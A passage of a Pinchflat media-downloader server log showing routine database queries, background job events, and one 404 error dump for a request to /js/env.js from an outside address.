(o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:23:53.946 [info] Sent 200 in 9ms 15:23:57.026 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:00.669 [info] {"source":"oban","duration":138,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:24:18.603 [info] GET / 15:24:18.603 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:24:18.603 [debug] QUERY OK source="settings" db=0.1ms idle=944.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:24:18.603 [debug] QUERY OK source="media_profiles" db=0.0ms idle=664.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:24:18.603 [debug] QUERY OK source="sources" db=0.0ms idle=664.8ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:24:18.604 [debug] QUERY OK source="media_items" db=0.7ms idle=664.9ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:24:18.604 [debug] QUERY OK source="media_items" db=0.2ms idle=665.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:24:18.604 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:24:18.605 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:24:18.605 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:24:18.605 [debug] QUERY OK source="media_items" db=0.1ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:24:18.606 [debug] QUERY OK source="media_items" db=0.4ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:24:18.606 [debug] QUERY OK source="sources" db=0.0ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:24:18.608 [debug] QUERY OK source="media_items" db=1.3ms idle=1.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:24:18.609 [debug] QUERY OK source="media_items" db=1.4ms idle=3.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:24:18.610 [debug] QUERY OK source="tasks" db=0.0ms idle=4.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:24:18.610 [info] Sent 200 in 7ms 15:24:27.027 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:50.223 [info] GET /js/env.js 15:24:50.223 [debug] QUERY OK source="settings" db=0.1ms idle=1283.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:24:50.223 [debug] QUERY OK source="settings" db=0.0ms idle=530.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:24:50.223 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:24:50.224 [error] #PID<0.10058.0> running PinchflatWeb.Endpoint (connection #PID<0.10057.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /js/env.js ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10057.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/env.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 44624}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, image/apng, */*; q=0.8", "accept-language" => "en-US, en; q=0.9", "cache-control" => "no-cache", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36", "x-forwarded-for" => "43.228.157.191", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "43.228.157.191" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10058.0>, params: %{}, path_info: ["js", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, image/apng, */*; q=0.8"}, {"accept-language", "en-US, en; q=0.9"}, {"cache-control", "no-cache"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36"}, {"x-forwarded-for", "43.228.157.191"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "43.228.157.191"} ], request_path: "/js/env.js", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDLYv6e5bCkMgAA5lB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10057.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/env.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 44624}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, image/apng, */*; q=0.8", "accept-language" => "en-US, en; q=0.9", "cache-control" => "no-cache", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36", "x-forwarded-for" => "43.228.157.191", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "43.228.157.191" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /js/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.10057.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/js/env.js", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 44624}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html, application/xhtml+xml, application/xml; q=0.9, image/avif, image/webp, image/apng, */*; q=0.8", "accept-language" => "en-US, en; q=0.9", "cache-control" => "no-cache", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36", "x-forwarded-for" => "43.228.157.191", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "43.228.157.191" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.10058.0>, params: %{}, path_info: ["js", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html, application/xhtml+xm (truncated) 15:24:57.029 [info] {"source":"oban","duration":573,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:00.671 [info] {"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:25:27.030 [info] {"source":"oban","duration":589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:57.031 [info] {"source":"oban","duration":600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:00.672 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:26:27.032 [info] {"source":"oban","duration":504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:57.033 [info] {"source":"oban","duration":384,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:00.672 [info] {"source":"oban","duration":110,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:27:27.034 [info] {"source":"oban","duration":457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:28.725 [info] GET / 15:27:28.725 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:27:28.725 [debug] QUERY OK source="settings" db=0.0ms idle=1785.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:28.725 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1785.5ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:27:28.725 [debug] QUERY OK source="sources" db=0.0ms idle=1691.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:27:28.726 [debug] QUERY OK source="media_items" db=0.7ms idle=869.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:27:28.726 [debug] QUERY OK source="media_items" db=0.1ms idle=786.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:27:28.726 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:28.727 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:28.727 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:27:28.727 [debug] QUERY OK source="media_items" db=0.1ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:27:28.728 [debug] QUERY OK source="media_items" db=0.4ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:27:28.728 [debug] QUERY OK source="sources" db=0.0ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:27:28.730 [debug] QUERY OK source="media_items" db=1.2ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:27:28.731 [debug] QUERY OK source="media_items" db=1.4ms idle=2.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:27:28.731 [debug] QUERY OK source="tasks" db=0.0ms idle=4.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:27:28.732 [info] Sent 200 in 6ms 15:27:57.035 [info] {"source":"oban","duration":507,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:00.674 [info] {"source":"oban","duration":143,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:28:27.036 [info] {"source":"oban","duration":404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:57.037 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:00.674 [info] {"source":"oban","duration":144,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:29:27.038 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:57.039 [info] {"source":"oban","duration":640,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:00.675 [info] {"source":"oban","duration":105,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:30:27.039 [info] {"source":"oban","duration":180,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:51.068 [info] {"args":{"id":2},"id":687,"meta":{},"system_time":1784907051068567575,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:30:51.070 [debug] QUERY OK source="sources" db=1.7ms idle=1007.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:30:51.070 [debug] QUERY OK source="tasks" db=1.7ms idle=128.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:30:51.072 [debug] QUERY OK source="settings" db=1.5ms idle=130.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:30:51.072 [debug] QUERY OK source="sources" db=1.5ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:30:51.072 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:30:51.072 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", 